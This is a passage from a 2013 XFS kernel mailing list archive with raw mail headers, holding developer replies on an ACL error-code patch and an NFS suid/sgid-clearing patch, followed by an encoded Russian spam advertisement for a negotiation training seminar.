id rBC3R12J022647 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 12 Dec 2013 03:27:02 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC3R0JA015030 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 12 Dec 2013 03:27:00 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC3R0kM008022; Thu, 12 Dec 2013 03:27:00 GMT Received: from [192.168.1.105] (/114.248.205.234) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 19:26:59 -0800 Message-ID: <52A92CFF.5070600@oracle.com> Date: Thu, 12 Dec 2013 11:26:55 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Ben Myers CC: Eric Sandeen , "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: return ENOSPC when trying to set more ACLs than XFS_ACL_MAX_ENTRIES References: <52921D12.7040104@oracle.com> <5292C557.9020008@sandeen.net> <5292D8AB.5080003@oracle.com> <20131211193622.GG1935@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: return ENOSPC when trying to set more ACLs than XFS_ACL_MAX_ENTRIES In-Reply-To: <20131211193622.GG1935@sgi.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386818822 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143030 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Ben, On 12/12 2013 03:36 AM, Ben Myers wrote: > Hey Jeff, > > On Mon, Nov 25, 2013 at 12:57:15PM +0800, Jeff Liu wrote: >> >> On 11/25 2013 11:34 AM, Eric Sandeen wrote: >>> On 11/24/13, 9:36 AM, Jeff Liu wrote: >>>> From: Jie Liu >>>> >>>> We currently return EINVAL when trying to set more ACL entries than >>>> XFS_ACL_MAX_ENTRIES(), but it would be a bit more meaningful to return >>>> ENOSPC in this situation, because the later is used to indicate there >>>> is no more space to store new ACLs IMHO. >>> >>> I'm not quite convinced that it's better; the user will get an >>> error string of "no space left on device" which is misleading too, >> I admit that both looks misleading... >>> and I'd argue that it's no better than "invalid argument." >>> >>> To me, I think it's not worth changing, but others may disagree. >>> >>> (I guess looking at ext4, it uses ENOSPC for some similar constraints, >>> so maybe three is precedent for this) >> Btrfs also uses ENOSPC, but JFS would return something like "Argument list too long" >> in this case. > > I tend to agree with Eric on this one, but if Dave or Christoph want to weigh > in that's cool. I agree to Eric as well since either errno cannot indicate this situation much cleaner. I also can not find an existing errno could be used for this situation, maybe someday there would have a particular errno to be used in this case if users complain about it. Thanks, -Jeff From bfields@fieldses.org Wed Dec 11 21:39:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 13B527F4E for ; Wed, 11 Dec 2013 21:39:07 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id EA78A8F8049 for ; Wed, 11 Dec 2013 19:39:06 -0800 (PST) X-ASG-Debug-ID: 1386819545-04cb6c537b6bd150001-NocioJ Received: from fieldses.org (fieldses.org [174.143.236.118]) by cuda.sgi.com with ESMTP id Edv2veOVGDPtuMd0 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 19:39:05 -0800 (PST) X-Barracuda-Envelope-From: bfields@fieldses.org X-Barracuda-Apparent-Source-IP: 174.143.236.118 Received: from bfields by fieldses.org with local (Exim 4.76) (envelope-from ) id 1Vqx75-0001eM-Py; Wed, 11 Dec 2013 22:38:59 -0500 Date: Wed, 11 Dec 2013 22:38:59 -0500 From: "J. Bruce Fields" To: Stanislav Kholmanskikh Cc: linux-nfs@vger.kernel.org, vasily.isaenko@oracle.com, hch@infradead.org, xfs@oss.sgi.com, sprabhu@redhat.com Subject: Re: [PATCH] nfsd: revoking of suid/sgid bits after chown() in a consistent way Message-ID: <20131212033859.GA5978@fieldses.org> X-ASG-Orig-Subj: Re: [PATCH] nfsd: revoking of suid/sgid bits after chown() in a consistent way References: <20131206204747.GB12613@fieldses.org> <1386756996-28083-1-git-send-email-stanislav.kholmanskikh@oracle.com> <52A845C6.2080109@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A845C6.2080109@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: fieldses.org[174.143.236.118] X-Barracuda-Start-Time: 1386819545 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143030 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 11, 2013 at 03:00:22PM +0400, Stanislav Kholmanskikh wrote: > > > On 12/11/2013 02:16 PM, Stanislav Kholmanskikh wrote: > [cut off] > > > >This patch makes NFS to behave like local file systems. > > > [cut off] > > This patch allows to run generic/193 without any issues with NFSv3. > > With NFSv4 generic/193 fails (but with the other issues, which > existed even before the patch). > > generic/193 expects that suid/sgid bits are cleared after the file > truncation: > > touch file > chown fsgqa:fsgqa file > chmod u+s file > echo 'xyz' > file > ls -l file > su fsgqa -c 'echo > file' > ls -l file > > With ext4 (for example), we have expectable results: > -rwSr--r-- 1 fsgqa fsgqa 4 Dec 11 05:21 file > -rw-r--r-- 1 fsgqa fsgqa 1 Dec 11 05:22 file > > With NFSv3 as well: > -rwSr--r-- 1 fsgqa fsgqa 4 Dec 11 05:24 file > -rw-r--r-- 1 fsgqa fsgqa 1 Dec 11 05:25 file > > But with NFSv4 the bits are not cleared: > -rwSr--r-- 1 fsgqa fsgqa 1 Dec 11 05:19 file > -rwSr--r-- 1 fsgqa fsgqa 1 Dec 11 05:21 file > > 'echo > file' issues: > > open("file", O_WRONLY|O_CREAT|O_TRUNC, 0666) > > Can it be because of design differences between NFSv3 and NFSv4? In the v3 case I'd expect the open O_TRUNC to result in a SETATTR rpc, in the v4 case an OPEN rpc. Both result in a call to nfsd_setattr, though I only see nfsd_setattr turning off the SUID/SGID bits in the chown case. Are you sure it isn't the subsequent write that clears those bits? But looks to me like nfsd_vfs_write (used in both v3 & v4 cases) clears suid & guid, so I still don't see it. --b. From tatyanaukhripok@sleepyforest.com Wed Dec 11 23:30:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.1 required=5.0 tests=FROM_12LTRDOM,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E77457F4E for ; Wed, 11 Dec 2013 23:30:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 56A3BAC008 for ; Wed, 11 Dec 2013 21:30:20 -0800 (PST) X-ASG-Debug-ID: 1386826205-04cbb041686c6fc0001-NocioJ Received: from mail.rnc.ru ([82.194.245.252]) by cuda.sgi.com with ESMTP id GjBtoAGR8iXESTaU for ; Wed, 11 Dec 2013 21:30:06 -0800 (PST) X-Barracuda-Envelope-From: tatyanaukhripok@sleepyforest.com X-Barracuda-Apparent-Source-IP: 82.194.245.252 Received: from localhost (localhost [127.0.0.1]) by mail.rnc.ru (Postfix) with ESMTP id 7CC5330CC348; Thu, 12 Dec 2013 09:30:20 +0400 (MSK) X-Virus-Scanned: amavisd-new at rnc.ru Received: from mail.rnc.ru ([127.0.0.1]) by localhost (mail.rnc.ru [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id MbYIaX2kfsrG; Thu, 12 Dec 2013 09:30:15 +0400 (MSK) Received: from localhost (localhost [127.0.0.1]) by mail.rnc.ru (Postfix) with ESMTP id A657730CC359; Thu, 12 Dec 2013 09:30:15 +0400 (MSK) X-Virus-Scanned: amavisd-new at rnc.ru Received: from mail.rnc.ru ([127.0.0.1]) by localhost (mail.rnc.ru [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id 9kZ_rpNrE7jD; Thu, 12 Dec 2013 09:30:06 +0400 (MSK) Received: from Unknown (cpe-98-31-3-196.woh.res.rr.com [98.31.3.196]) by mail.rnc.ru (Postfix) with ESMTPA id 40C2D30CC31E; Thu, 12 Dec 2013 09:30:02 +0400 (MSK) Message-ID: <23AF2919E494474A97BEA35E2A7ED401@zfefsg> Reply-To: =?windows-1251?B?4uXk8/no6SDx7+X26ODr6PHyIO7y5OXr4CDv?= =?windows-1251?B?7iDw4OHu8uUg8SDv5fDx7u3g6+7s?= From: =?windows-1251?B?4uXk8/no6SDx7+X26ODr6PHyIO7y5OXr4CDv?= =?windows-1251?B?7iDw4OHu8uUg8SDv5fDx7u3g6+7s?= To: , , , Subject: =?windows-1251?B?zOXy4PTu8OAg7ODt6O/z6//26Ogu?= Date: Thu, 12 Dec 2013 06:30:21 +0100 X-ASG-Orig-Subj: =?windows-1251?B?zOXy4PTu8OAg7ODt6O/z6//26Ogu?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0AB3_01CEF703.A239C2A0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-Barracuda-Connect: UNKNOWN[82.194.245.252] X-Barracuda-Start-Time: 1386826205 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, BSF_SC5_MJ1963, HTML_MESSAGE, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143032 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This is a multi-part message in MIME format. ------=_NextPart_000_0AB3_01CEF703.A239C2A0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0AB4_01CEF703.A239C2A0" ------=_NextPart_001_0AB4_01CEF703.A239C2A0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =ED=E0 =F2=F0=E5=ED=E8=ED=E3 =E2 =CF=E5=F2= =E5=F0=E1=F3=F0=E3=E5, =EF=EE=F1=E2=FF=F9=B8=ED=ED=FB=E9 =F4=EE=F0=EC=E8=F0= =EE=E2=E0=ED=E8=FE =EF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=F5 =ED=E0=E2=FB=EA=EE= =E2 =FD=F4=F4=E5=EA=F2=E8=E2=ED=EE=E3=EE =E2=E5=E4=E5=ED=E8=FF =EF=E5=F0=E5= =E3=EE=E2=EE=F0=EE=E2 =E8 =F3=F1=EF=E5=F8=ED=EE=E3=EE =E4=EE=F1=F2=E8=E6=E5= =ED=E8=FF =F6=E5=EB=E5=E9: =D2 =D0 =D3 =C4 =CD =DB =C5 =CF =C5 =D0 =C5 =C3 =CE =C2 =CE =D0 =DB, =CF =D0 =CE =D2 =C8 =C2 =CE =D1 =D2 =CE =DF =CD =C8 =C5 =CC =C0 =CD =C8= =CF =D3 =CB =DF =D6 =C8 =DF =CC. 16, I7 =DF=CD=C2=C0=D0=DF 2=CEI=F7 =E3., =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1= =F3=F0=E3=20 ________________________________________ =CC=E5=F2=EE=E4=E8=EA=E0 =F2=F0=E5=ED=E8=ED=E3=E0 =C8=ED=F2=E5=ED=F1=E8=E2=ED=EE=E5 =EE=E1=F3=F7=E5=ED=E8=E5, =EE=F1=ED=EE=E2= =E0=ED=ED=EE=E5 =ED=E0 =EF=F0=E0=EA=F2=E8=F7=E5=F1=EA=EE=E9 =EE=F2=F0=E0=E1= =EE=F2=EA=E5 =ED=E0=E2=FB=EA=EE=E2 =E8 =F3=EC=E5=ED=E8=E9 =E2=E5=E4=E5=ED= =E8=FF =EF=E5=F0=E5=E3=EE=E2=EE=F0=EE=E2; =E8=ED=E4=E8=E2=E8=E4=F3=E0=EB=FC= =ED=FB=E9 =EF=EE=E4=F5=EE=E4; =F0=E0=E1=EE=F2=E0 =F1 =F0=E5=E0=EB=FC=ED=FB= =EC=E8 =F1=E8=F2=F3=E0=F6=E8=FF=EC=E8; =E4=E5=EB=EE=E2=FB=E5, =F0=EE=EB=E5= =E2=FB=E5 =E8 =F1=E8=F2=F3=E0=F2=E8=E2=ED=FB=E5 =E8=E3=F0=FB; =E3=F0=F3=EF= =EF=EE=E2=FB=E5 =E8 =E8=ED=E4=E8=E2=E8=E4=F3=E0=EB=FC=ED=FB=E5 =F3=EF=F0=E0= =E6=ED=E5=ED=E8=FF. =CA=F0=E0=F2=EA=E8=E5 =F2=E5=EE=F0=E5=F2=E8=F7=E5=F1=EA= =E8=E5 =E8 =EC=E5=F2=EE=E4=E8=F7=E5=F1=EA=E8=E5 =EC=E0=F2=E5=F0=E8=E0=EB=FB= . =C8=F1=EF=EE=EB=FC=E7=EE=E2=E0=ED=E8=E5 =E0=F3=E4=E8=EE =E8 =E2=E8=E4=E5= =EE =E0=EF=EF=E0=F0=E0=F2=F3=F0=FB. =CF=D0=CE=C3=D0=C0=CC=CC=C0: ? =CF=EE=E4=E3=EE=F2=EE=E2=EA=E0 =EA =EF=E5=F0=E5=E3=EE=E2=EE=F0=E0=EC: =EF= =EE=E8=F1=EA =E8 =EE=E1=F0=E0=E1=EE=F2=EA=E0 =E8=ED=F4=EE=F0=EC=E0=F6=E8=E8= ; =EF=F0=EE=F1=F2=F0=E0=ED=F1=F2=E2=E5=ED=ED=E0=FF =EE=F0=E3=E0=ED=E8=E7=E0= =F6=E8=FF; =EF=EE=F1=F2=E0=ED=EE=E2=EA=E0 =F6=E5=EB=E5=E9 =E8 =F0=E0=E7=F0= =E0=E1=EE=F2=EA=E0 =EF=F3=F2=E5=E9 =E8=F5 =F0=E5=E0=EB=E8=E7=E0=F6=E8=E8. ? =D3=F1=F2=E0=ED=EE=E2=EB=E5=ED=E8=E5 =EA=EE=ED=F2=E0=EA=F2=E0. ? =CF=F0=EE=E2=E5=E4=E5=ED=E8=E5 =EF=E5=F0=E5=E3=EE=E2=EE=F0=EE=E2. ? =D1=F2=E8=EB=E8 =E2=E5=E4=E5=ED=E8=FF =EF=E5=F0=E5=E3=EE=E2=EE=F0=EE=E2= . =D3=EC=E5=ED=E8=E5 =E2=EB=E0=E4=E5=F2=FC =F1=EE=E1=EE=E9 =E8 =F1=E8=F2=F3= =E0=F6=E8=E5=E9. =CA=E0=EA =E2=E7=E0=E8=EC=EE=E4=E5=E9=F1=F2=E2=EE=E2=E0= =F2=FC =F1 =F2=F0=F3=E4=ED=FB=EC=E8 =EF=E0=F0=F2=ED=E5=F0=E0=EC=E8 =EF=EE= =EE=E1=F9=E5=ED=E8=FE. =CA=E0=EA =EE=E1=F0=E0=F2=E8=F2=FC=F1=FF =F1 =EF=F0= =EE=F1=FC=E1=EE=E9? =CA=E0=EA =F1=EA=E0=E7=E0=F2=FC "=ED=E5=F2" =E8 =ED=E5= =EE=E1=E8=E4=E5=F2=FC? =CA=E0=EA =EF=EE=F5=E2=E0=EB=E8=F2=FC, =F7=F2=EE=E1= =FB =FD=F2=EE =ED=E5 =E1=FB=EB=EE =EB=E5=F1=F2=FC=FE? =CA=E0=EA =E2=FB=F0= =E0=E6=E0=F2=FC =ED=E5=F1=EE=E3=EB=E0=F1=E8=E5 =E8 =EE=F2=F1=F2=E0=E8=E2=E0= =F2=FC =F1=E2=EE=FE =F2=EE=F7=EA=F3 =E7=F0=E5=ED=E8=FF? =D7=F2=EE =F2=E0=EA= =EE=E5 =E0=E4=E5=EA=E2=E0=F2=ED=E0=FF =EE=E1=F0=E0=F2=ED=E0=FF =F1=E2=FF=E7= =FC? ? =CB=E8=F7=ED=EE=F1=F2=ED=FB=E5 =EE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =EF=E5= =F0=E5=E3=EE=E2=EE=F0=F9=E8=EA=E0. ? =D0=E5=E0=EB=E8=E7=E0=F6=E8=FF =EF=EB=E0=ED=E0: =EF=EE=E2=E5=E4=E5=ED=E8= =E5 =E2 =F1=EB=EE=E6=ED=FB=F5 =F1=E8=F2=F3=E0=F6=E8=FF=F5. =D2=E5=F5=ED=EE= =EB=EE=E3=E8=E8 =E8 =EC=E5=F5=E0=ED=E8=E7=EC=FB =EC=E0=ED=E8=EF=F3=EB=FF=F6= =E8=E8. =CA=EE=F0=ED=E8 =EC=E0=ED=E8=EF=F3=EB=FF=F6=E8=E8. =CC=E5=F2=E0=F4= =EE=F0=E0 =EC=E0=ED=E8=EF=F3=EB=FF=F6=E8=E8. =CA=F0=E8=F2=E5=F0=E8=E8 =EC= =E0=ED=E8=EF=F3=EB=FF=F6=E8=E8. =CC=E5=F1=F2=EE =EC=E0=ED=E8=EF=F3=EB=FF=F6= =E8=E8 =E2 =F1=E8=F1=F2=E5=EC=E5 =F7=E5=EB=EE=E2=E5=F7=E5=F1=EA=E8=F5 =E2= =E7=E0=E8=EC=EE=EE=F2=ED=EE=F8=E5=ED=E8=E9. =CC=E0=ED=E8=EF=F3=EB=FF=F2=E8= =E2=ED=FB=E5 =F2=E5=F5=ED=EE=EB=EE=E3=E8=E8. =CC=E5=F5=E0=ED=E8=E7=EC=FB = =EC=E0=ED=E8=EF=F3=EB=FF=F2=E8=E2=ED=EE=E3=EE =E2=EE=E7=E4=E5=E9=F1=F2=E2= =E8=FF. =D0=E0=F1=EF=EE=E7=ED=E0=E2=E0=ED=E8=E5 =EC=E0=ED=E8=EF=F3=EB=FF=F6= =E8=E8 =E2 =E6=E8=E2=EE=EC =EE=E1=F9=E5=ED=E8=E8. =CC=E0=ED=E8=EF=F3=EB=FF= =F6=E8=FF =E8 =E2=EE=EF=F0=EE=F1=FB =FD=F2=E8=EA=E8. ? =C7=E0=F9=E8=F2=E0 =EE=F2 =EC=E0=ED=E8=EF=F3=EB=FF=F6=E8=E8. =C2=E8=E4=FB= =E8 =EC=E5=F5=E0=ED=E8=E7=EC=FB =E7=E0=F9=E8=F2. =CC=E5=E6=EB=E8=F7=ED=EE= =F1=F2=ED=FB=E5 =E8 =E2=ED=F3=F2=F0=E8=EB=E8=F7=ED=EE=F1=F2=ED=FB=E5 =E7=E0= =F9=E8=F2=FB. =D1=EF=E5=F6=E8=F4=E8=F7=E5=F1=EA=E8=E5 =E8 =ED=E5=F1=EF=E5= =F6=E8=F4=E8=F7=E5=F1=EA=E8=E5 =E7=E0=F9=E8=F2=FB. =C1=E0=E7=EE=E2=FB=E5 = =E7=E0=F9=E8=F2=ED=FB=E5 =F3=F1=F2=E0=ED=EE=E2=EA=E8. =D7=F3=E2=F1=F2=E2=E5= =ED=ED=FB=E9 =E8 =F0=E0=F6=E8=EE=ED=E0=EB=FC=ED=FB=E9 =F3=F0=EE=E2=E5=ED=FC= . =CA=EE=ED=F4=EE=F0=EC=E8=E7=EC, =ED=EE=ED=EA=EE=ED=F4=EE=F0=EC=E8=E7=EC= =E8 =E2=ED=E5=EA=EE=ED=F4=EE=F0=EC=E8=E7=EC. =D3=EA=F0=E5=EF=EB=E5=ED=E8= =E5 =E7=E0=F9=E8=F2=ED=EE=E3=EE =E0=F0=F1=E5=ED=E0=EB=E0. =D1=EE=E1=F0=E0= =ED=ED=EE=F1=F2=FC =E8 =EF=F1=E8=F5=EE=F2=E5=F5=ED=E8=EA=E8 =F1=EE=E2=EB=E0= =E4=E0=ED=E8=FF. ? =CC=E0=ED=E8=EF=F3=EB=FF=F6=E8=FF =E8 =EF=F1=E8=F5=EE=EB=EE=E3=E8=F7=E5= =F1=EA=EE=E5 =E4=E0=E2=EB=E5=ED=E8=E5 =ED=E0 =EF=E5=F0=E5=E3=EE=E2=EE=F0=E0= =F5. =C8=ED=F4=EE=F0=EC=E0=F6=E8=EE=ED=ED=FB=E9 =E8 =EF=F1=E8=F5=EE=EB=EE= =E3=E8=F7=E5=F1=EA=E8=E9 =F3=F0=EE=E2=E5=ED=FC =EC=E0=ED=E8=EF=F3=EB=FF=F6= =E8=E8. =CC=E0=ED=E8=EF=F3=EB=FF=F6=E8=FF =F4=E0=EA=F2=E0=EC=E8. =CC=E0=ED= =E8=EF=F3=EB=FF=F6=E8=FF =EF=EE=EB=ED=EE=EC=EE=F7=E8=FF=EC=E8. =D4=EE=F0=EC= =FB =EF=F1=E8=F5=EE=EB=EE=E3=E8=F7=E5=F1=EA=EE=E3=EE =E4=E0=E2=EB=E5=ED=E8= =FF. =D1=EF=EE=F1=EE=E1=FB =EF=F0=EE=F2=E8=E2=EE=F1=F2=EE=FF=ED=E8=FF =EC= =E0=ED=E8=EF=F3=EB=FF=F6=E8=E8 =E8 =EF=F1=E8=F5=EE=EB=EE=E3=E8=F7=E5=F1=EA= =EE=EC=F3 =E4=E0=E2=EB=E5=ED=E8=FE =ED=E0 =EF=E5=F0=E5=E3=EE=E2=EE=F0=E0=F5= . ? =C7=E0=E2=E5=F0=F8=E5=ED=E8=E5 =EE=E1=F1=F3=E6=E4=E5=ED=E8=FF =E8 =F4=E8= =EA=F1=E0=F6=E8=FF =E4=EE=E3=EE=E2=EE=F0=E5=ED=ED=EE=F1=F2=E5=E9. =C2=FB=F5= =EE=E4 =E8=E7 =EA=EE=ED=F2=E0=EA=F2=E0. ? =D2=E5=F5=ED=E8=EA=E8 =F1=ED=FF=F2=E8=FF =FD=EC=EE=F6=E8=EE=ED=E0=EB=FC= =ED=EE=E3=EE =ED=E0=EF=F0=FF=E6=E5=ED=E8=FF. ? =CF=F0=EE=E2=E5=E4=E5=ED=E8=E5 =EA=EE=EC=EF=EB=E5=EA=F1=ED=EE=E9 =F0=EE= =EB=E5=E2=EE=E9 =E8=E3=F0=FB =AB=C4=E5=EB=EE=E2=FB=E5 =EF=E5=F0=E5=E3=EE=E2= =EE=F0=FB=BB (=E2 =E1=EB=E0=E3=EE=EF=F0=E8=FF=F2=ED=FB=F5 =F3=F1=EB=EE=E2= =E8=FF=F5). ? =CF=F0=EE=E2=E5=E4=E5=ED=E8=E5 =EA=EE=EC=EF=EB=E5=EA=F1=ED=EE=E9 =F0=EE= =EB=E5=E2=EE=E9 =E8=E3=F0=FB =AB=C4=E5=EB=EE=E2=FB=E5 =EF=E5=F0=E5=E3=EE=E2= =EE=F0=FB=BB (=E2 =ED=E5=E1=EB=E0=E3=EE=EF=F0=E8=FF=F2=ED=FB=F5 =F3=F1=EB= =EE=E2=E8=FF=F5). ? =C0=ED=E0=EB=E8=E7 =E8 =F0=E0=E7=E1=EE=F0 =E8=E3=F0=FB. =C2=FB=F5=EE=E4= =E8=E7 =F2=F0=E5=ED=E8=ED=E3=E0 =E8 =EE=E1=F9=E5=E5 =E7=E0=E2=E5=F0=F8=E5= =ED=E8=E5 =F0=E0=E1=EE=F2=FB =F1 =EF=EE=E4=E2=E5=E4=E5=ED=E8=E5=EC =E8=F2= =EE=E3=EE=E2. ________________________________________ =CF=EE =EE=EA=EE=ED=F7=E0=ED=E8=E8 =F2=F0=E5=ED=E8=ED=E3=E0 =F3=F7=E0=F1=F2= =ED=E8=EA=E8 =F1=EC=EE=E3=F3=F2: =EF=F0=EE=E2=EE=E4=E8=F2=FC =F2=F9=E0=F2= =E5=EB=FC=ED=F3=FE =EF=EE=E4=E3=EE=F2=EE=E2=EA=F3 =EF=E5=F0=E5=E3=EE=E2=EE= =F0=EE=E2; =D0=E0=F1=EF=EE=E7=ED=E0=E2=E0=F2=FC =EE=F1=EE=E1=E5=ED=ED=EE= =F1=F2=E8 =F3=F7=E0=F1=F2=ED=E8=EA=EE=E2 =EF=E5=F0=E5=E3=EE=E2=EE=F0=EE=E2= ; =E0=EA=F2=E8=E2=ED=EE =E8=F1=EF=EE=EB=FC=E7=EE=E2=E0=F2=FC =F1=F0=E5=E4= =F1=F2=E2=E0 =E2=E5=F0=E1=E0=EB=FC=ED=EE=E9 =E8 =ED=E5=E2=E5=F0=E1=E0=EB=FC= =ED=EE=E9 =EA=EE=EC=EC=F3=ED=E8=EA=E0=F6=E8=E8 =E4=EB=FF =F1=EE=E7=E4=E0=ED= =E8=FF =E3=E0=F0=EC=EE=ED=E8=F7=ED=EE=E9 =E0=F2=EC=EE=F1=F4=E5=F0=FB =EF=E5= =F0=E5=E3=EE=E2=EE=F0=EE=E2; =EF=F0=EE=E3=ED=EE=E7=E8=F0=EE=E2=E0=F2=FC =E8= =F0=E0=E1=EE=F2=E0=F2=FC =F1 =E2=EE=E7=EC=EE=E6=ED=FB=EC=E8 =E2=EE=EF=F0= =EE=F1=E0=EC=E8 =E8 =E2=EE=E7=F0=E0=E6=E5=ED=E8=FF=EC=E8; =F3=EF=F0=E0=E2= =EB=FF=F2=FC =FD=EC=EE=F6=E8=FF=EC=E8 =E8 =E1=FB=F1=F2=F0=EE =F1=E0=EC=EE= =E2=EE=F1=F1=F2=E0=ED=E0=E2=EB=E8=E2=E0=F2=FC=F1=FF; =EF=F0=E8=EC=E5=ED=FF= =F2=FC =EC=E5=F2=EE=E4=FB =EA=EE=F0=F0=E5=EA=F2=ED=EE=E3=EE =EF=F1=E8=F5=EE= =EB=EE=E3=E8=F7=E5=F1=EA=EE=E3=EE =E2=EB=E8=FF=ED=E8=FF =ED=E0 =F5=EE=E4 = =EF=E5=F0=E5=E3=EE=E2=EE=F0=EE=E2. =CA=E0=E6=E4=EE=EC=F3 =F3=F7=E0=F1=F2=ED=E8=EA=F3 =E2=FB=E4=E0=E5=F2=F1=FF= =D1=E2=E8=E4=E5=F2=E5=EB=FC=F1=F2=E2=EE =EE =EF=F0=EE=F5=EE=E6=E4=E5=ED=E8= =E8 =EE=E1=F3=F7=E5=ED=E8=FF. =C2 =F1=F2=EE=E8=EC=EE=F1=F2=FC =F1=E5=EC=E8= =ED=E0=F0=E0 =E2=F5=EE=E4=FF=F2 =EE=E1=E5=E4=FB =E8 =EA=EE=F4=E5-=E1=F0=E5= =E9=EA=E8. =C2=FB =EC=EE=E6=E5=F2=E5 =C7=C0=D0=C5=C3=C8=D1=D2=D0=C8=D0=CE=C2=C0=D2=DC= =D1=DF, =F3=E7=ED=E0=F2=FC =F3=F1=EB=EE=E2=E8=FF =F3=F7=E0=F1=F2=E8=FF, =E0= =F2=E0=EA=E6=E5 =C1=C5=D1=CF=CB=C0=D2=CD=CE =EF=EE=EB=F3=F7=E8=F2=FC =CF= =CE=CB=CD=D3=DE =EF=F0=EE=E3=F0=E0=EC=EC=F3 =F1=E5=EC=E8=ED=E0=F0=E0, =F1= =EF=E8=F1=EE=EA =EF=F0=E5=EF=EE=E4=E0=E2=E0=F2=E5=EB=E5=E9 =E8 =F0=E0=F1= =EF=E8=F1=E0=ED=E8=E5 =F3 =ED=E0=F8=E8=F5 =EC=E5=ED=E5=E4=E6=E5=F0=EE=E2= =EF=EE =F2=E5=EB=E5=F4=EE=ED=F3 =E2 =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3= =F0=E3=E5: - 812 - 98--=F7 -- 5=E7 . 6=E7 ------=_NextPart_001_0AB4_01CEF703.A239C2A0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
